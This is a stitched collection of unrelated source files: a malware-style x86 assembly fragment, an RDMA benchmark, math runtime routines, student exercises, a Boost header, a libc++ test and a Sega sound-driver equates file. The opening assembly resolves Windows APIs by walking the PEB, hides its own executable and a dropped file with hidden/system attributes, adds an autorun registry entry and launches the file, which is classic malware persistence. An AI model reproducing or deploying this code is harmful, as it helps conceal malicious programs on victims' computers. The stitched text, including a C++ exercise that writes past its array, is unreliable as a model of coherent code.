call [kernelTable+5*sizeof.FUNC+FUNC.addr]
push [hFile]
call [kernelTable+6*sizeof.FUNC+FUNC.addr]
skipWrite:
push 4 or 2
push filename
call [kernelTable+7*sizeof.FUNC+FUNC.addr]
push 4 or 2
push mePath
call [kernelTable+7*sizeof.FUNC+FUNC.addr]
push hKey
push autorun
push 0x80000001
call [advTable+FUNC.addr]
xor ecx, ecx
strlen: inc ecx
lea eax, [mePath+ecx]
mov byte al, [eax]
cmp al, 0
jne strlen
push ecx
push mePath
push 0x1
push 0
push keyname
push [hKey]
call [advTable+1*sizeof.FUNC+FUNC.addr]
push [hKey]
call [advTable+2*sizeof.FUNC+FUNC.addr]
push 0
push 0
push param
push filename
push oper
push 0
call [shellTable+FUNC.addr]
exit:
push 0
call [kernelTable+8*sizeof.FUNC+FUNC.addr]
ret
initFunctions:
xor esi, esi
startInit:
cmp esi, [esp+8]
je functionsEndInit
mov ebx, [esp+12]
mov edx, esi
imul edx, sizeof.FUNC
add ebx, edx
mov eax, [esp+4]
push ebx
push eax
call [GetProcAddress]
mov [ebx+FUNC.addr], eax
inc esi
jmp startInit
functionsEndInit:
ret
init:
mov edi, [fs:0x030]
mov edi, [edi + 0x00c]
mov edi, [edi + 0x014]
mov edi, [edi + 0x00]
mov edi, [edi + 0x00]
mov edi, [edi + 0x10]
mov [kernel32], edi
mov edx, [edi + 0x3c]
add edx, edi
mov edx, [edx + 0x78]
add edx, edi
mov esi, [edx + 0x20]
add esi, edi
xor ecx, ecx
searchProcAddr:
inc ecx
lodsd
add eax, edi
cmp dword[eax], 'GetP'
jnz searchProcAddr
cmp dword[eax + 0x4], 'rocA'
jnz searchProcAddr
cmp dword[eax + 0x8], 'ddre'
jnz searchProcAddr
mov esi, [edx + 0x24]
add esi, edi
mov cx, [esi + ecx * 2]
dec ecx
mov esi, [edx + 0x1c]
add esi, edi
mov edx, [esi + ecx * 4]
add edx, edi
mov [GetProcAddress], edx
ret |
#include "main.h"
#include "hrd.h"
#include <getopt.h>
int main(int argc, char *argv[])
{
/* Static checks */
static_assert(NUM_WORKERS < (1 << WORKER_GID_BITS), "");
static_assert(sizeof(struct imm_payload) == 4, ""); /* RDMA immediate data */
static_assert(MAX_POSTLIST < HRD_RQ_DEPTH, ""); /* For static sizing of *wc */
#if CHECK_PACKET_LOSS == 1
static_assert(NUM_UD_QPS == 1, ""); /* Pkts across QPs can be re-ordered */
/*
* In packet loss detection mode, do not send a new batch until the
* current batch completes. This allows us to detect packet loss by
* examining per-thread number of requests ever sent
* (in record_total_reqs_ever), because a thread will stop generating
* new requests after a packet loss.
*/
static_assert(WINDOW_SIZE == REQ_BATCH_SIZE, "");
#endif
int i, c;
int num_threads = -1;
int machine_id = -1, size_req = -1, size_resp = -1, postlist = -1;
int base_port_index = -1, num_ports = -1; /* Same across all swarmhosts */
struct thread_params *param_arr;
pthread_t *thread_arr;
static struct option opts[] = {
{"num-threads", required_argument, 0, 't' },
{"machine-id", required_argument, 0, 'm' },
{"base-port-index", required_argument, 0, 'b' },
{"num-ports", required_argument, 0, 'N' },
{"size-req", required_argument, 0, 's' },
{"size-resp", required_argument, 0, 'S' },
{"postlist", required_argument, 0, 'p' },
{0, 0, 0, 0}
};
/* Parse and check arguments */
while(1) {
c = getopt_long(argc, argv, "t:b:N:m:p:s:S", opts, NULL);
if(c == -1) {
break;
}
switch (c) {
case 't':
num_threads = atoi(optarg);
break;
case 'm':
machine_id = atoi(optarg);
break;
case 'b':
base_port_index = atoi(optarg);
break;
case 'N':
num_ports = atoi(optarg);
break;
case 's':
size_req = atoi(optarg);
break;
case 'S':
size_resp = atoi(optarg);
break;
case 'p':
postlist = atoi(optarg);
break;
default:
printf("Invalid argument %c\n", c);
assert(false);
}
}
/* Common checks */
assert(base_port_index >= 0 && base_port_index <= 8);
assert(num_ports == 1 || num_ports == 2); /* Need power-of-2 */
assert(num_threads >= 1);
assert(size_req >= 0 && size_req <= HRD_MAX_INLINE);
assert(size_resp >= 0 && size_resp <= HRD_MAX_INLINE);
assert(machine_id >= 0);
assert(postlist >= 1 && postlist <= MAX_POSTLIST);
assert(postlist <= UNSIG_BATCH); /* Postlist check */
assert(HRD_SQ_DEPTH >= 2 * UNSIG_BATCH); /* Queue capacity check */
printf("main: Launching %d swarm workers\n", num_threads);
double *tput = (double *) malloc(num_threads * sizeof(double));
long long *reqs_ever = (long long *) malloc(num_threads * sizeof(long long));
for(i = 0; i < num_threads; i++) {
tput[i] = 0.0;
reqs_ever[i] = 0;
}
param_arr = (struct thread_params *)
malloc(num_threads * sizeof(struct thread_params));
thread_arr = (pthread_t *) malloc(num_threads * sizeof(pthread_t));
for(i = 0; i < num_threads; i++) {
param_arr[i].id = (machine_id * num_threads) + i;
param_arr[i].tput = tput;
param_arr[i].reqs_ever = reqs_ever;
param_arr[i].num_threads = num_threads;
param_arr[i].base_port_index = base_port_index;
param_arr[i].num_ports = num_ports;
param_arr[i].postlist = postlist;
param_arr[i].size_req = size_req;
param_arr[i].size_resp = size_resp;
pthread_create(&thread_arr[i], NULL, run_thread, ¶m_arr[i]);
}
for(i = 0; i < num_threads; i++) {
pthread_join(thread_arr[i], NULL);
}
return 0;
}
|
/*
Copyright ©2013 The Regents of the University of California
(Regents). All Rights Reserved. Permission to use, copy, modify, and
distribute this software and its documentation for educational,
research, and not-for-profit purposes, without fee and without a
signed licensing agreement, is hereby granted, provided that the
above copyright notice, this paragraph and the following two
paragraphs appear in all copies, modifications, and
distributions. Contact The Office of Technology Licensing, UC
Berkeley, 2150 Shattuck Avenue, Suite 510, Berkeley, CA 94720-1620,
(510) 643-7201, for commercial licensing opportunities.
IN NO EVENT SHALL REGENTS BE LIABLE TO ANY PARTY FOR DIRECT,
INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, INCLUDING
LOST PROFITS, ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS
DOCUMENTATION, EVEN IF REGENTS HAS BEEN ADVISED OF THE POSSIBILITY
OF SUCH DAMAGE.
REGENTS SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE. THE SOFTWARE AND ACCOMPANYING
DOCUMENTATION, IF ANY, PROVIDED HEREUNDER IS PROVIDED "AS
IS". REGENTS HAS NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT,
UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
*/
#pragma once
#include <string>
#include <vector>
namespace arcsim
{
// Converts Shewchuck's triangle output (.node/.ele) to a .obj
void tri2obj(const std::vector<std::string> &args);
// Combines two meshes into a single obj
void merge_meshes(const std::vector<std::string> &args);
// Does the opposite of merge_meshes
void split_meshes(const std::vector<std::string> &args);
// This function can exist anywhere and the linker will find it
void debug(const std::vector<std::string> &args);
}
|
LOWORD equ [0]
HIWORD equ [4]
;*******************************************************************************
;llrem - signed long remainder
;
;Entry:
; Arguments are passed on the stack:
; 1st pushed: divisor (QWORD)
; 2nd pushed: dividend (QWORD)
;
;Exit:
; EDX:EAX contains the remainder (dividend%divisor)
; NOTE: this routine removes the parameters from the stack.
;*******************************************************************************
.486
.model flat
.code
public __allrem
__allrem proc near
push ebx
push edi
; Set up the local stack and save the index registers. When this is done
; the stack frame will look as follows (assuming that the expression a%b will
; generate a call to lrem(a, b)):
;
; -----------------
; | |
; |---------------|
; | |
; |--divisor (b)--|
; | |
; |---------------|
; | |
; |--dividend (a)-|
; | |
; |---------------|
; | return addr** |
; |---------------|
; | EBX |
; |---------------|
; ESP---->| EDI |
; -----------------
DVND Equ [esp+4+8]
DVSR Equ [esp+4+8+8]
xor edi, edi ; nosign flag
mov eax, HIWORD(DVND)
or eax, eax
jge short @f
mov edx, LOWORD(DVND)
neg eax
neg edx
sbb eax, edi
inc edi
mov HIWORD(DVND), eax
mov LOWORD(DVND), edx
@@: mov eax, HIWORD(DVSR)
or eax, eax
jge short @f
mov edx, LOWORD(DVSR)
neg eax
neg edx
sbb eax, 0
mov HIWORD(DVSR), eax
mov LOWORD(DVSR), edx
; Now do the divide. First look to see if the divisor is less than 4194304K.
; If so, then we can use a simple algorithm with word divides, otherwise
; things get a little more complex.
;
; NOTE - eax currently contains the high order word of DVSR
@@: or eax, eax ; check to see if divisor < 4194304K
jnz short @f
mov ecx, LOWORD(DVSR)
mov eax, HIWORD(DVND)
xor edx, edx
div ecx ; edx <- remainder
mov eax, LOWORD(DVND) ; edx:eax <- remainder:lo word of dividend
div ecx ; edx <- final remainder
xor eax, eax
xchg edx, eax
jmp short cksign
; Here we do it the hard way. Remember, eax contains the high word of DVSR
@@: mov ebx, eax ; ebx:ecx <- divisor
mov ecx,LOWORD(DVSR)
mov edx,HIWORD(DVND) ; edx:eax <- dividend
mov eax,LOWORD(DVND)
@@: shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short @b ; loop until divisor < 4194304K
div ecx ; now divide, ignore remainder
; We may be off by one, so to check, we will multiply the quotient
; by the divisor and check the result against the orignal dividend
; Note that we must also check for overflow, which can occur if the
; dividend is close to 2**64 and the quotient is off by 1.
mov ecx, eax ; save a copy of quotient in ECX
mul dword ptr HIWORD(DVSR)
xchg ecx, eax ; save product, get quotient in EAX
mul dword ptr LOWORD(DVSR)
add edx, ecx ; EDX:EAX = QUOT * DVSR
jc short @f
; do long compare here between original dividend and the result of the
; multiply in edx:eax. If original is larger or equal, we are ok, otherwise
; subtract the original divisor from the result.
cmp edx,HIWORD(DVND) ; compare hi words of result and original
ja short @f ; if result > original, do subtract
jb short lo ; if result < original, we are ok
cmp eax, LOWORD(DVND) ; hi words are equal, compare lo words
jbe short lo ; if less or equal we are ok, else subtract
@@: sub eax, LOWORD(DVSR)
sbb edx, HIWORD(DVSR)
; Calculate remainder by subtracting the result from the original dividend.
; Since the result is already in a register, we will do the subtract in the
; opposite direction and negate the result if necessary.
lo: sub eax, LOWORD(DVND)
sbb edx, HIWORD(DVND)
; Now check the result sign flag to see if the result is supposed to be positive
; or negative. It is currently negated (because we subtracted in the 'wrong'
; direction), so if the sign flag is set we are done, otherwise we must negate
; the result to make it positive again.
xor edi, 1
cksign: dec edi
jnz short @f
neg edx
neg eax
sbb edx, edi
@@: pop edi
pop ebx
ret 16
__allrem endp
end
|
; #########################################################################
;
; trig.asm - Assembly file for CompEng205 Assignment 3
;
;
; #########################################################################
.586
.MODEL FLAT,STDCALL
.STACK 4096
option casemap :none ; case sensitive
include trig.inc
.DATA
;; These are some useful constants (fixed point values that correspond to important angles)
PI_HALF = 102943 ;; PI / 2
PI = 205887 ;; PI
TWO_PI = 411774 ;; 2 * PI
PI_INC_RECIP = 5340353 ;; Use reciprocal to find the table entry for a given angle
;; (It is easier to use than divison would be)
.CODE
FixedSin PROC USES ebx ecx edx edi angle:FXPT
LOCAL negative:BYTE
mov edx, angle
mov negative, 0; Placeholder to mark negative angles
; Make sure angle is >=0
CHECK_NEG:
cmp edx, 0
jge CHECK_LARGE
add edx, TWO_PI
jmp CHECK_NEG
; Make sure angle is <2pi
CHECK_LARGE:
cmp edx, TWO_PI
jl BODY
sub edx, TWO_PI
jmp CHECK_LARGE
BODY:
; Check for edx < pi / 2
FIRST_QUAD:
cmp edx, PI_HALF
jle LOOKUP
; Check for pi/2 <= edx < pi
SECOND_QUAD:
cmp edx, PI
jge GTE_PI
; Change edx to PI - edx
mov ebx, PI
sub ebx, edx
mov edx, ebx
jmp LOOKUP
; Handle 3rd and 4th quadrants
GTE_PI:
mov negative, 1 ; mark negative sin value
cmp edx, PI + PI_HALF ; check whether in 3rd or 4th quadrant
jge FOURTH_QUAD
THIRD_QUAD:
sub edx, PI ; reflect into first quadrant
jmp LOOKUP
FOURTH_QUAD:
mov ecx, TWO_PI
sub ecx, edx
mov edx, ecx ; reflect into 1st quadrant
; Look up sin value
LOOKUP:
mov eax, edx
mov ecx, PI_INC_RECIP
mul ecx
shl edx, 16
shr edx, 16
; Get value from lookup table
mov eax, 0
mov ax, WORD PTR [SINTAB + 2 * edx]
; Negate return value if angle was > pi
cmp negative, 0
je DONE
neg eax
DONE:
ret
FixedSin ENDP
FixedCos PROC USES edx angle:FXPT
mov edx, angle
add edx, PI_HALF ; cos(a) = sin(a + pi/2)
INVOKE FixedSin, edx
ret
FixedCos ENDP
END
|
#include <iostream>
using namespace std;
int main()
{
int db = 10;
int x, y;
double szamok[db];
double akt;
bool ok = true;
cout << "Adjon meg " << db << " db számot!" << endl;
for (int k = 1; k <= db; k++)
{
cout << "Adja meg az " << k << ". számot!" << endl;
cin >> akt;
szamok[k] = akt;
}
do
{
cout << "Adja meg a megcserélni kívánt elemek sorszámát!" << endl;
cout << "Első elem sorszáma: " << endl;
cin >> x;
cout << "Második elem sorszáma: " << endl;
cin >> y;
cout << "\n " << endl;
if (x < 1 || x > db || y < 1 || y > db)
{
ok = false;
}
for (int i = 1; i <= db; i++)
{
if (i == x)
{
for (int j = 1; j <= db; j++)
{
if (j == y)
{
akt = szamok[i];
szamok[i] = szamok[j];
szamok[j] = akt;
}
}
}
cout << "A megcserélt " << i << ". szám: "
<< szamok[i] << endl;
}
} while (ok == true);
return 0;
} |
; This is an example of the "Hello World" program.
; Uses 8080 assembler mnemonics.
ORG 100h ; cpm programs start address.
JMP START ; go to program start.
; Variable storage space
MsgStr: DB 13,10,'Hello world.',13,10,0
Stack1: DW 0 ; place to save old stack.
Sbot: DS 32 ; temp stack for us to use.
; Constants
STOP: EQU $-1 ; top of our stack.
BDOS: EQU 5 ; address of BDOS entry.
; Start of code segment
START: LXI H, 0 ; HL = 0.
DAD SP ; HL = SP.
SHLD Stack1 ; save original stack.
LXI H, STOP ; HL = address of new stack.
SPHL ; stack pointer = our stack.
LXI H, MsgStr ; HL = address of string.
LOOP1: MOV A, M ; read string char.
ORA A ; set cpu flags.
JZ EXIT ; if char = 0 done.
MOV E, A ; E = char to send.
MVI C, 2 ; we want BDOS func 2.
PUSH H ; save HL register.
CALL BDOS ; call BDOS function.
POP H ; restore HL register
INX H ; point to next char.
JMP LOOP1 ; do next char.
; Exit and return code
EXIT: LHLD Stack1 ; HL = entry stack address.
SPHL ; SP = value on entry.
RET ; return control back to CPM.
END
|
//==================================================================================================
/*!
@file
@copyright 2016 NumScale SAS
Distributed under the Boost Software License, Version 1.0.
(See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt)
*/
//==================================================================================================
#ifndef BOOST_SIMD_FUNCTION_DEFINITION_LOGICAL_NOTAND_HPP_INCLUDED
#define BOOST_SIMD_FUNCTION_DEFINITION_LOGICAL_NOTAND_HPP_INCLUDED
#include <boost/simd/config.hpp>
#include <boost/simd/detail/dispatch/function/make_callable.hpp>
#include <boost/simd/detail/dispatch/hierarchy/functions.hpp>
#include <boost/simd/detail/dispatch.hpp>
namespace boost { namespace simd
{
namespace tag
{
BOOST_DISPATCH_MAKE_TAG(ext, logical_notand_, boost::dispatch::elementwise_<logical_notand_>);
}
namespace ext
{
BOOST_DISPATCH_FUNCTION_DECLARATION(tag, logical_notand_)
}
BOOST_DISPATCH_CALLABLE_DEFINITION(tag::logical_notand_,logical_notand);
} }
#endif
|
; A094684: Records in A094683.
; 0,1,5,11,18,27,36,46,58,70,82,96,110,125,140,156,172,189,207,225,243,262,281,301,322,343,364,385,407,430,453,476,500,524,548,573,598,623,649,675,702,729,756,783,811,839,868,896,925,955,985
mul $0,2
sub $0,1
mov $3,$0
pow $0,3
mod $3,2
lpb $0,1
add $0,$4
sub $0,1
add $1,17
add $3,2
mov $4,$2
sub $4,$3
lpe
div $1,17
|
//===----------------------------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is dual licensed under the MIT and the University of Illinois Open
// Source Licenses. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// <locale>
// template <class charT> class numpunct;
// char_type decimal_point() const;
#include <locale>
#include <cassert>
int main()
{
std::locale l = std::locale::classic();
{
typedef char C;
const std::numpunct<C>& np = std::use_facet<std::numpunct<C> >(l);
assert(np.decimal_point() == '.');
}
{
typedef wchar_t C;
const std::numpunct<C>& np = std::use_facet<std::numpunct<C> >(l);
assert(np.decimal_point() == L'.');
}
}
|
; ===========================================================================
; ---------------------------------------------------------------------------
; Register usage throughout the AMPS codebase in most situations
; ---------------------------------------------------------------------------
; a0 - Dual PCM cue
; a1 - Current channel
; a2 - Tracker
; a3 - Special address (channels), target channel (playsnd), scratch
; a4 - Music channel (dcStop), other various uses, scratch
; a5-a6 - Scratch, use lower number when possible
; d0 - Channel dbf counter, other dbf counters
; d1 - Various things read from the tracker, scratch
; d2 - Volume or pitch when calculating it
; d3-d6 - Scatch, use lower number when possible
; d7 - Never used for anything.
; ===========================================================================
; ---------------------------------------------------------------------------
; Various assembly flags
; ---------------------------------------------------------------------------
FEATURE_SAFE_PSGFREQ = 0 ; set to 1 to enable safety checks for PSG frequency. Some S3K SFX require this to be 0
FEATURE_SFX_MASTERVOL = 0 ; set to 1 to make SFX be affected by master volumes
FEATURE_MODULATION = 1 ; set to 1 to enable software modulation effect
FEATURE_PORTAMENTO = 0 ; set to 1 to enable portamento effect
FEATURE_MODENV = 1 ; set to 1 to enable modulation envelopes
FEATURE_UNDERWATER = 1 ; set to 1 to enable underwater mode flag
FEATURE_BACKUP = 1 ; set to 1 to enable back-up channels. Used for the 1-up sound in Sonic 1, 2 and 3K
FEATURE_BACKUPNOSFX = 1 ; set to 1 to disable SFX while a song is backed up. Used for the 1-up sound
FEATURE_FM6 = 1 ; set to 1 to enable FM6 to be used in music
FEATURE_QUEUESIZE = 4 ; number of sound queue slots for the driver
FEATURE_SOUNDTEST = 0 ; set to 1 to enable changes which make AMPS compatible with custom sound test
; ---------------------------------------------------------------------------
; if safe mode is enabled (1), then the driver will attempt to find any issues
; if Vladik's error debugger is installed, then the error will be displayed
; else, the CPU is trapped
safe = 1
; ===========================================================================
; ---------------------------------------------------------------------------
; Channel configuration
; ---------------------------------------------------------------------------
phase 0
cFlags ds.b 1 ; various channel flags, see below
cType ds.b 1 ; hardware type for the channel
cSoundID = * ; channel sound ID. SFX only. Used for continuous SFX
cData ds.l 1 ; tracker address for the channel
cStatPSG4 = * ; PSG4 type value. PSG3 only
cPanning ds.b 1 ; channel panning and LFO. FM and DAC only
cDetune ds.b 1 ; frequency detune (offset)
cPitch ds.b 1 ; pitch (transposition) offset
cVolume ds.b 1 ; channel volume
cTick ds.b 1 ; channel tick multiplier
cSample = * ; channel sample ID, DAC only
cVoice ds.b 1 ; YM2612 voice ID. FM only
cDuration ds.b 1 ; current note duration
cLastDur ds.b 1 ; last note duration
cFreq ds.w 1 ; channel note frequency
if FEATURE_MODULATION
cModDelay = * ; delay before modulation starts
cMod ds.l 1 ; modulation data address
cModFreq ds.w 1 ; modulation frequency offset
cModSpeed ds.b 1 ; number of frames til next modulation step
cModStep ds.b 1 ; modulation frequency offset per step
cModCount ds.b 1 ; number of modulation steps until reversal
endif
if FEATURE_PORTAMENTO
cPortaSpeed ds.b 1 ; number of frames for portamento to complete. 0 means it is disabled
even
cPortaFreq ds.w 1 ; frequency offset for portamento
cPortaDisp ds.w 1 ; frequency displacement per frame for portamento
endif
cVolEnv ds.b 1 ; volume envelope ID
cEnvPos ds.b 1 ; volume envelope position
if FEATURE_MODENV
cModEnv ds.b 1 ; modulation envelope ID
cModEnvPos ds.b 1 ; modulation envelope position
cModEnvSens ds.b 1 ; sensitivity of modulation envelope
endif
if FEATURE_SOUNDTEST
even
cChipFreq ds.w 1 ; frequency sent to the chip
cChipVol ds.b 1 ; volume sent to the chip
endif
cLoop ds.b 3 ; loop counter values
even
cSizeSFX = * ; size of each SFX track (this also sneakily makes sure the memory is aligned to word always. Additional loop counter may be added if last byte is odd byte)
cPrio = *-1 ; sound effect channel priority. SFX only
; ---------------------------------------------------------------------------
cGateCur ds.b 1 ; number of frames until note-off. Music only
cGateMain ds.b 1 ; amount of frames for gate effect. Music only
cStack ds.b 1 ; channel stack pointer. Music only
ds.b 1 ; unused. Music only
ds.l 3 ; channel stack data. Music only
even
cSize = * ; size of each music track
; ===========================================================================
; ---------------------------------------------------------------------------
; Bits for cFlags
; ---------------------------------------------------------------------------
cfbInt = $00 ; set if interrupted by SFX. Music only. Must be bit 0
cfbHold = $01 ; set if note is being held. Must be bit 1
cfbRest = $02 ; set if channel is resting. FM and PSG only. Must be bit 2
cfbMode = $02 ; set if in pitch mode, clear if in sample mode. DAC only. Must be bit 2
phase cfbRest+1
cfbMod ds.b 1 ; set if modulation is enabled
cfbCond ds.b 1 ; set if condition is false
cfbVol ds.b 1 ; set if channel should update volume
cfbWater ds.b 1 ; set if underwater mode is disabled
cfbRun = $07 ; set if channel is running a tracker
; ===========================================================================
; ---------------------------------------------------------------------------
; Misc variables for channel modes
; ---------------------------------------------------------------------------
ctbPt2 = $02 ; bit part 2 - FM 4-6
ctFM1 = $00 ; FM 1
ctFM2 = $01 ; FM 2
ctFM3 = $02 ; FM 3 - Valid for SFX
ctFM4 = $04 ; FM 4 - Valid for SFX
ctFM5 = $05 ; FM 5 - Valid for SFX
if FEATURE_FM6
ctFM6 = $06 ; FM 6
endif
ctbDAC = $04 ; DAC bit
ctDAC1 = (1<<ctbDAC)|$03 ; DAC 1 - Valid for SFX
ctDAC2 = (1<<ctbDAC)|$06 ; DAC 2
ctPSG1 = $80 ; PSG 1 - Valid for SFX
ctPSG2 = $A0 ; PSG 2 - Valid for SFX
ctPSG3 = $C0 ; PSG 3 - Valid for SFX
ctPSG4 = $E0 ; PSG 4
; ===========================================================================
; ---------------------------------------------------------------------------
; Misc flags
; ---------------------------------------------------------------------------
Mus_DAC = 2 ; number of DAC channels
Mus_FM = 5+((FEATURE_FM6<>0)&1); number of FM channels (5 or 6)
Mus_PSG = 3 ; number of PSG channels
Mus_Ch = Mus_DAC+Mus_FM+Mus_PSG; total number of music channels
SFX_DAC = 1 ; number of DAC SFX channels
SFX_FM = 3 ; number of FM SFX channels
SFX_PSG = 3 ; number of PSG SFX channels
SFX_Ch = SFX_DAC+SFX_FM+SFX_PSG; total number of SFX channels
VoiceRegs = 29 ; total number of registers inside of a voice
VoiceTL = VoiceRegs-4 ; location of voice TL levels
MaxPitch = $1000 ; this is the maximum pitch Dual PCM is capable of processing
Z80E_Read = $0018 ; this is used by Dual PCM internally but we need this for macros
; ---------------------------------------------------------------------------
; NOTE: There is no magic trick to making Dual PCM play samples at higher rates.
; These values are only here to allow you to give lower pitch samples higher
; quality, and playing samples at higher rates than Dual PCM can process them
; may decrease the perceived quality by the end user. Use these equates only
; if you know what you are doing.
; ---------------------------------------------------------------------------
sr17 = $0140 ; 5 Quarter sample rate 17500 Hz
sr15 = $0120 ; 9 Eights sample rate 15750 Hz
sr14 = $0100 ; Default sample rate 14000 Hz
sr12 = $00E0 ; 7 Eights sample rate 12250 Hz
sr10 = $00C0 ; 3 Quarter sample rate 10500 Hz
sr8 = $00A0 ; 5 Eights sample rate 8750 Hz
sr7 = $0080 ; Half sample rate 7000 HZ
sr5 = $0060 ; 3 Eights sample rate 5250 Hz
sr3 = $0040 ; 1 Quarter sample rate 3500 Hz
; ===========================================================================
; ---------------------------------------------------------------------------
; Sound driver RAM configuration
; ---------------------------------------------------------------------------
dZ80 = $A00000 ; quick reference to Z80 RAM
dPSG = $C00011 ; quick reference to PSG port
phase Drvmem ; insert your sound driver RAM address here!
mFlags ds.b 1 ; various driver flags, see below
mCtrPal ds.b 1 ; frame counter fo 50hz fix
mComm ds.b 8 ; communications bytes
mMasterVolPSG ds.b 1 ; master volume for PSG channels
mMasterVolDAC ds.b 1 ; master volume for DAC channels
mMasterVolFM = * ; master volume for FM channels
mFadeAddr ds.l 1 ; fading program address
mSpeed ds.b 1 ; music speed shoes tempo
mSpeedAcc ds.b 1 ; music speed shoes tempo accumulator
mTempo ds.b 1 ; music normal tempo
mTempoAcc ds.b 1 ; music normal tempo accumulator
mVctMus ds.l 1 ; address of voice table for music
mSpindash ds.b 1 ; spindash rev counter
mContCtr ds.b 1 ; continous sfx loop counter
mContLast ds.b 1 ; last continous sfx played
mLastCue ds.b 1 ; last YM Cue the sound driver was accessing
mQueue ds.b FEATURE_QUEUESIZE; sound queue
if 1&(*)
ds.b 1 ; even's are broke in 64-bit values?
endif ; align data
; ---------------------------------------------------------------------------
mBackUpArea = * ; this is where the area to be backed up starts
mDAC1 ds.b cSize ; DAC 1 data
mDAC2 ds.b cSize ; DAC 2 data
mFM1 ds.b cSize ; FM 1 data
mFM2 ds.b cSize ; FM 2 data
mFM3 ds.b cSize ; FM 3 data
mFM4 ds.b cSize ; FM 4 data
mFM5 ds.b cSize ; FM 5 data
if FEATURE_FM6
mFM6 ds.b cSize ; FM 6 data
endif
mPSG1 ds.b cSize ; PSG 1 data
mPSG2 ds.b cSize ; PSG 2 data
mPSG3 ds.b cSize ; PSG 3 data
mSFXDAC1 ds.b cSizeSFX ; SFX DAC 1 data
mSFXFM3 ds.b cSizeSFX ; SFX FM 3 data
mSFXFM4 ds.b cSizeSFX ; SFX FM 4 data
mSFXFM5 ds.b cSizeSFX ; SFX FM 5 data
mSFXPSG1 ds.b cSizeSFX ; SFX PSG 1 data
mSFXPSG2 ds.b cSizeSFX ; SFX PSG 2 data
mSFXPSG3 ds.b cSizeSFX ; SFX PSG 3 data
mChannelEnd = * ; used to determine where channel RAM ends
; ---------------------------------------------------------------------------
if FEATURE_BACKUP
mBackUpLoc = * ; this is where the area for loading a backed up song starts
mBackDAC1 ds.b cSize ; back-up DAC 1 data
mBackDAC2 ds.b cSize ; back-up DAC 2 data
mBackFM1 ds.b cSize ; back-up FM 1 data
mBackFM2 ds.b cSize ; back-up FM 2 data
mBackFM3 ds.b cSize ; back-up FM 3 data
mBackFM4 ds.b cSize ; back-up FM 4 data
mBackFM5 ds.b cSize ; back-up FM 5 data
if FEATURE_FM6
mBackFM6 ds.b cSize ; back-up FM 6 data
endif
mBackPSG1 ds.b cSize ; back-up PSG 1 data
mBackPSG2 ds.b cSize ; back-up PSG 2 data
mBackPSG3 ds.b cSize ; back-up PSG 3 data
mBackSpeed ds.b 1 ; back-up music speed shoes tempo
mBackSpeedAcc ds.b 1 ; back-up music speed shoes tempo accumulator
mBackTempo ds.b 1 ; back-up music normal tempo
mBackTempoAcc ds.b 1 ; back-up music normal tempo accumulator
mBackVctMus ds.l 1 ; back-up address of voice table for music
mBackFlags ds.b 1 ; back-up various driver flags, see below
endif
; ---------------------------------------------------------------------------
if safe=1
msChktracker ds.b 1 ; safe mode only: If set, bring up debugger
endif
if 1&(*)
ds.b 1 ; even's are broke in 64-bit values?
endif ; align data
mSize = * ; end of the driver RAM
; ===========================================================================
; ---------------------------------------------------------------------------
; Bits for mFlags
; ---------------------------------------------------------------------------
phase 0
mfbSwap ds.b 1 ; if set, the next swap-sfx will be swapped
mfbSpeed ds.b 1 ; if set, speed shoes are active
mfbWater ds.b 1 ; if set, underwater mode is active
mfbNoPAL ds.b 1 ; if set, play songs slowly in PAL region
mfbBacked ds.b 1 ; if set, a song has been backed up
mfbExec ds.b 1 ; if set, AMPS is currently running
mfbRunTwice ds.b 1 ; if set, AMPS should be updated twice at some point
mfbPaused = $07 ; if set, sound driver is paused
; ===========================================================================
; ---------------------------------------------------------------------------
; Sound ID equates
; ---------------------------------------------------------------------------
phase 1
Mus_Reset ds.b 1 ; reset underwater and speed shoes flags, update volume for all channels
Mus_FadeOut ds.b 1 ; initialize a music fade out
Mus_Stop ds.b 1 ; stop all music
Mus_ShoesOn ds.b 1 ; enable speed shoes mode
Mus_ShoesOff ds.b 1 ; disable speed shoes mode
Mus_ToWater ds.b 1 ; enable underwater mode
Mus_OutWater ds.b 1 ; disable underwater mode
Mus_Pause ds.b 1 ; pause the music
Mus_Unpause ds.b 1 ; unpause the music
Mus_StopSFX ds.b 1 ; stop all sfx
MusOff = * ; first music ID
; ===========================================================================
; ---------------------------------------------------------------------------
; Condition modes
; ---------------------------------------------------------------------------
phase 0
dcoT ds.b 1 ; condition T ; True
dcoF ds.b 1 ; condition F ; False
dcoHI ds.b 1 ; condition HI ; HIgher (unsigned)
dcoLS ds.b 1 ; condition LS ; Less or Same (unsigned)
dcoHS = * ; condition HS ; Higher or Sane (unsigned)
dcoCC ds.b 1 ; condition CC ; Carry Clear (unsigned)
dcoLO = * ; condition LO ; LOwer (unsigned)
dcoCS ds.b 1 ; condition CS ; Carry Set (unsigned)
dcoNE ds.b 1 ; condition NE ; Not Equal
dcoEQ ds.b 1 ; condition EQ ; EQual
dcoVC ds.b 1 ; condition VC ; oVerflow Clear (signed)
dcoVS ds.b 1 ; condition VS ; oVerflow Set (signed)
dcoPL ds.b 1 ; condition PL ; Positive (PLus)
dcoMI ds.b 1 ; condition MI ; Negamite (MInus)
dcoGE ds.b 1 ; condition GE ; Greater or Equal (signed)
dcoLT ds.b 1 ; condition LT ; Less Than (signed)
dcoGT ds.b 1 ; condition GT ; GreaTer (signed)
dcoLE ds.b 1 ; condition LE ; Less or Equal (signed)
; ===========================================================================
; ---------------------------------------------------------------------------
; Envelope commands equates
; ---------------------------------------------------------------------------
phase $80
eReset ds.w 1 ; 80 - Restart from position 0
eHold ds.w 1 ; 82 - Hold volume at current level
eLoop ds.w 1 ; 84 - Jump back/forwards according to next byte
eStop ds.w 1 ; 86 - Stop current note and envelope
; these next ones are only valid for modulation envelopes. These are ignored for volume envelopes.
esSens ds.w 1 ; 88 - Set the sensitivity of the modulation envelope
eaSens ds.w 1 ; 8A - Add to the sensitivity of the modulation envelope
eLast = * ; safe mode equate
; ===========================================================================
; ---------------------------------------------------------------------------
; Fade out end commands
